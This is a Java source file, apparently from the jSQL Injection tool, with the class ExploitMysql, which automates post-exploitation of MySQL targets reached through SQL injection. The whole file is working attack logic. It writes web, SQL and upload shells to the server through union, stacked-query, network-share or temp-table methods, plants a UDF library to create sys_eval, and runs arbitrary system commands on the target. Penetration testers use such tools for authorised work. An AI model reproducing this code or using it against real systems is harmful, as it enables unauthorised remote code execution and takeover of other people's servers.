View Javadoc
1   package com.jsql.model.accessible.vendor;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ExploitMode;
6   import com.jsql.model.accessible.ResourceAccess;
7   import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8   import com.jsql.model.bean.database.MockElement;
9   import com.jsql.model.bean.util.Interaction;
10  import com.jsql.model.bean.util.Request;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.injection.vendor.model.VendorYaml;
14  import com.jsql.model.suspendable.SuspendableGetRows;
15  import com.jsql.util.LogLevelUtil;
16  import com.jsql.util.StringUtil;
17  import org.apache.commons.codec.binary.Hex;
18  import org.apache.commons.lang3.RandomStringUtils;
19  import org.apache.commons.lang3.StringUtils;
20  import org.apache.logging.log4j.LogManager;
21  import org.apache.logging.log4j.Logger;
22  import org.yaml.snakeyaml.Yaml;
23  
24  import java.io.File;
25  import java.io.FileInputStream;
26  import java.io.IOException;
27  import java.io.InputStream;
28  import java.net.URI;
29  import java.net.URISyntaxException;
30  import java.net.http.HttpResponse;
31  import java.nio.charset.StandardCharsets;
32  import java.nio.file.Files;
33  import java.nio.file.Path;
34  import java.nio.file.Paths;
35  import java.nio.file.StandardCopyOption;
36  import java.util.List;
37  import java.util.Objects;
38  import java.util.UUID;
39  import java.util.function.BiPredicate;
40  import java.util.function.BinaryOperator;
41  
42  public class ExploitMysql {
43  
44      /**
45       * Log4j logger sent to view.
46       */
47      private static final Logger LOGGER = LogManager.getRootLogger();
48      public static final String NAME_TABLE = "temp";
49      private final InjectionModel injectionModel;
50      private final ModelYamlMysql modelYaml;
51  
52      private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
53          try {
54              return this.buildSysEval(nameLibraryRandom);
55          } catch (JSqlException e) {
56              throw new JSqlRuntimeException(e);
57          }
58      };
59  
60      public ExploitMysql(InjectionModel injectionModel) {
61          this.injectionModel = injectionModel;
62          var yaml = new Yaml();
63          this.modelYaml = yaml.loadAs(
64              injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
65              ModelYamlMysql.class
66          );
67      }
68  
69      public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
70          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
71  
72          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73              var request = new Request();
74              request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
75              request.setParameters(urlSuccess);
76              this.injectionModel.sendToViews(request);
77              return urlSuccess;
78          };
79          return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
80      }
81  
82      public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
83          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
84              var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
85              if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
86                  var request = new Request();
87                  request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
88                  request.setParameters(urlSuccess, username, password);
89                  this.injectionModel.sendToViews(request);
90                  return urlSuccess;
91              }
92              return StringUtils.EMPTY;
93          };
94          var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
95          if (StringUtils.isEmpty(urlSuccess)) {
96              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
97              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
98          }
99          if (StringUtils.isEmpty(urlSuccess)) {
100             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
101             urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
102         }
103         if (StringUtils.isEmpty(urlSuccess)) {
104             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
105         }
106         return urlSuccess;
107     }
108 
109     public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
110         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
111             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
112                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
113                 if (result.body().contains(DataAccess.LEAD +"y")) {
114                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
115                 } else {
116                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
117                 }
118             } catch (InterruptedException e) {
119                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
120                 Thread.currentThread().interrupt();
121             } catch (IOException | JSqlException e) {
122                 throw new JSqlRuntimeException(e);
123             }
124             return urlSuccess;
125         };
126         this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
127     }
128 
129     /**
130      * Create shell on remote server
131      * @param urlExploit  URL for the script (used for url rewriting)
132      */
133     public String create(
134         String pathRemoteFolder,
135         String urlExploit,
136         String keyPropertyExploit,
137         String nameExploit,
138         BinaryOperator<String> biFuncGetRequest,
139         String pathNetshareFolder,
140         ExploitMode exploitMode
141     ) throws JSqlException {
142         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
143             return null;
144         }
145 
146         String bodyExploit = StringUtil.base64Decode(
147                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
148             )
149             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
150             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
151 
152         // outfile + binary: content corruption
153         BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
154             try {
155                 String resultInjection = this.confirm(pathFolder + nameFile);
156                 return resultInjection.contains(bodyExploit);
157             } catch (JSqlException e) {
158                 throw new JSqlRuntimeException(e);
159             }
160         };
161 
162         var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
163         String nameExploitValidated = StringUtils.EMPTY;
164 
165         if (exploitMode == ExploitMode.NETSHARE) {
166             ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit);
167             nameExploitValidated = this.byNetshare(
168                 nbIndexesFound,
169                 pathNetshareFolder,
170                 nameExploit,
171                 pathRemoteFolder,
172                 biPredConfirm
173             );
174         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
175             nameExploitValidated = this.byQueryBody(
176                 nbIndexesFound,
177                 pathRemoteFolder,
178                 nameExploit,
179                 StringUtil.toHexChunks(bodyExploit.getBytes()),
180                 biPredConfirm
181             );
182         }
183         if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
184             var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
185             this.byTable(
186                 StringUtil.toHexChunks(bodyExploit.getBytes()),
187                 pathRemoteFolder + nameExploitRandom
188             );
189             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
190                 nameExploitValidated = nameExploitRandom;
191             }
192         }
193 
194         if (StringUtils.isEmpty(nameExploitValidated)) {
195             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
196             return null;
197         }
198         nameExploit = nameExploitValidated;
199         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
200 
201         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
202     }
203 
204     public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
205         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
206 
207         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
208             return;
209         }
210 
211         var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
212         var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
213         if (StringUtils.isEmpty(pathPlugin)) {
214             throw new JSqlException("Incorrect plugin folder: path is empty");
215         }
216 
217         String nameLibrary = this.getNameLibrary();
218 
219         pathPlugin = pathPlugin.replace("\\", "/");
220         if (!pathPlugin.endsWith("/")) {
221             pathPlugin = String.format("%s%s", pathPlugin, "/");
222         }
223 
224         if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
225             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
226         }
227         String isSuccess = StringUtils.EMPTY;
228         if (exploitMode == ExploitMode.NETSHARE) {
229             if (!pathNetshareFolder.endsWith("\\")) {
230                 pathNetshareFolder += "\\";
231             }
232             ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
233             isSuccess = this.byNetshare(
234                 nbIndexesFound,
235                 pathNetshareFolder,
236                 nameLibrary,
237                 pathPlugin,
238                 this.biPredCreateUdf
239             );
240         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
241             if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
242                 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead");
243             }
244             isSuccess = this.byQueryBody(
245                 nbIndexesFound,
246                 pathPlugin,
247                 nameLibrary,
248                 ExploitMysql.toHexChunks(nameLibrary),
249                 this.biPredCreateUdf
250             );
251         }
252         if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
253             var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
254             this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
255             this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
256         }
257     }
258 
259     private String getNameLibrary() throws JSqlException {
260         var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
261         if (StringUtils.isEmpty(versionOsMachine)) {
262             throw new JSqlException("Incorrect remote machine: unknown system");
263         }
264         var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
265         String nameLibrary;
266         if (versionOsMachine.contains("64")) {
267             nameLibrary = isWin ? "64.dll" : "64.so";
268         } else {
269             nameLibrary = isWin ? "32.dll" : "32.so";
270         }
271         return nameLibrary;
272     }
273 
274     public String byQueryBody(
275         int nbIndexesFound,
276         String pathRemoteFolder,
277         String nameExploit,
278         List<String> hexChunks,
279         BiPredicate<String,String> biPredConfirm
280     ) {
281         String nameExploitValidated = StringUtils.EMPTY;
282         var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
283 
284         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
285         this.injectionModel.injectWithoutIndex(String.format(pattern,
286             "union",
287             "'',".repeat(nbIndexesFound),
288             String.join(StringUtils.EMPTY, hexChunks),
289             pathRemoteFolder + nameExploitRandom
290         ), "body#union-dump");
291         if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
292             nameExploitValidated = nameExploitRandom;
293         }
294         if (StringUtils.isEmpty(nameExploitValidated)) {
295             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
296             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
297             this.injectionModel.injectWithoutIndex(String.format(pattern,
298                 ";",
299                 StringUtils.EMPTY,
300                 String.join(StringUtils.EMPTY, hexChunks),
301                 pathRemoteFolder + nameExploitRandom
302             ), "body#stack-dump");
303             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
304                 nameExploitValidated = nameExploitRandom;
305             }
306         }
307         return nameExploitValidated;
308     }
309 
310     public String byNetshare(
311         int nbIndexesFound,
312         String pathNetshareFolder,
313         String nameExploit,
314         String pathRemoteFolder,
315         BiPredicate<String,String> biPredConfirm
316     ) {
317         String nameExploitValidated = StringUtils.EMPTY;
318         var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
319         var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
320 
321         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
322         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
323         this.injectionModel.injectWithoutIndex(String.format(pattern,
324             "union",
325             "'',".repeat(nbIndexesFound),
326             pathShareEncoded + nameExploit,
327             pathRemoteFolder + nameExploitRandom
328         ), "netshare#union");
329         if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
330             nameExploitValidated = nameExploitRandom;
331         }
332         if (StringUtils.isEmpty(nameExploitValidated)) {
333             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
334             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
335             this.injectionModel.injectWithoutIndex(String.format(pattern,
336                 ";",
337                 StringUtils.EMPTY,
338                 pathShareEncoded + nameExploit,
339                 pathRemoteFolder + nameExploitRandom
340             ), "netshare#stack");
341             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
342                 nameExploitValidated = nameExploitRandom;
343             }
344         }
345         return nameExploitValidated;
346     }
347 
348     private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
349         try {
350             URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("exploit/mysql/" + nameLibrary)).toURI();
351             Path originalPath = new File(original).toPath();
352             Path copied = Paths.get(pathNetshare + nameLibrary);
353             Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING);
354         } catch (IOException | URISyntaxException e) {
355             throw new JSqlException("Copy udf into local network share failure: " + e.getMessage());
356         }
357     }
358 
359     public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
360         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
361         var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
362         if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
363             nameDatabase = "mysql";
364         }
365         var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
366         var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
367         this.injectionModel.injectWithoutIndex(String.format(
368             this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
369             nameSchemaTable
370         ), ResourceAccess.TBL_DROP);
371         var countResult = this.getCountTable(nameDatabase, nameTableRandom);
372         if (!"0".equals(countResult)) {
373             throw new JSqlException("Drop table failure: "+ countResult);
374         }
375         this.injectionModel.injectWithoutIndex(String.format(
376             this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
377             nameSchemaTable
378         ), ResourceAccess.TBL_CREATE);
379         countResult = this.getCountTable(nameDatabase, nameTableRandom);
380         if (!"1".equals(countResult)) {
381             throw new JSqlException("Create table failure: "+ countResult);
382         }
383         int indexChunk = 0;
384         for (String chunk: bodyHexChunks) {
385             if (indexChunk == 0) {
386                 this.injectionModel.injectWithoutIndex(String.format(
387                     this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
388                     nameSchemaTable,
389                     chunk
390                 ), "tbl#init");
391             } else {
392                 this.injectionModel.injectWithoutIndex(String.format(
393                     this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
394                     nameSchemaTable,
395                     chunk
396                 ), ResourceAccess.TBL_FILL);
397             }
398             indexChunk++;
399         }
400         this.injectionModel.injectWithoutIndex(String.format(
401             this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
402             nameSchemaTable,
403             pathRemoteFile
404         ), ResourceAccess.TBL_DUMP);
405     }
406 
407     private String getCountTable(String nameDatabase, String nameTableRandom) {
408         try {
409             return this.injectionModel.getResourceAccess().getResult(String.format(
410                 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
411                 nameTableRandom,
412                 nameDatabase
413             ), "tbl#check");
414         } catch (JSqlException e) {
415             return e.getMessage();  // error message then logged
416         }
417     }
418 
419     private boolean buildSysEval(String nameLibrary) throws JSqlException {
420         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
421         this.injectionModel.injectWithoutIndex(String.format(
422             this.modelYaml.getUdf().getAddFunction().getCreate(),
423             nameLibrary
424         ), "udf#function");
425         var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
426         if (!confirm.contains("sys_eval")) {
427             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
428             return false;
429         }
430         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
431 
432         var request = new Request();
433         request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_MYSQL);
434         request.setParameters(null, null);
435         this.injectionModel.sendToViews(request);
436         return true;
437     }
438 
439     private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
440         Path path = Paths.get(pathFile);
441         try {
442             Files.write(path, bodyExploit.getBytes());
443         } catch (IOException e) {
444             throw new JSqlException(e);
445         }
446     }
447 
448     public String confirm(String path) throws JSqlException {
449         var sourcePage = new String[]{ StringUtils.EMPTY };
450         return new SuspendableGetRows(this.injectionModel).run(
451             this.modelYaml.getFile().getRead().replace(
452                 VendorYaml.FILEPATH_HEX,
453                 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
454             ),
455             sourcePage,
456             false,
457             1,
458             MockElement.MOCK,
459             "xplt#confirm-file"
460         );
461     }
462 
463     public String runRceCmd(String command, UUID uuidShell) {
464         String result;
465         try {
466             result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
467                 this.modelYaml.getUdf().getRunCmd(),
468                 command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
469             ), "udf#run-cmd") +"\n";
470         } catch (JSqlException e) {
471             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
472         }
473         var request = new Request();
474         request.setMessage(Interaction.GET_TERMINAL_RESULT);
475         request.setParameters(uuidShell, result);
476         this.injectionModel.sendToViews(request);
477         return result;
478     }
479 
480     private static List<String> toHexChunks(String filename) throws JSqlException {
481         try {
482             byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
483                 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ filename +".cloak")
484             ).readAllBytes();
485             fileData = StringUtil.uncloak(fileData);
486             return StringUtil.toHexChunks(fileData);
487         } catch (IOException e) {
488             throw new JSqlException(e);
489         }
490     }
491 
492     public ModelYamlMysql getModelYaml() {
493         return this.modelYaml;
494     }
495 }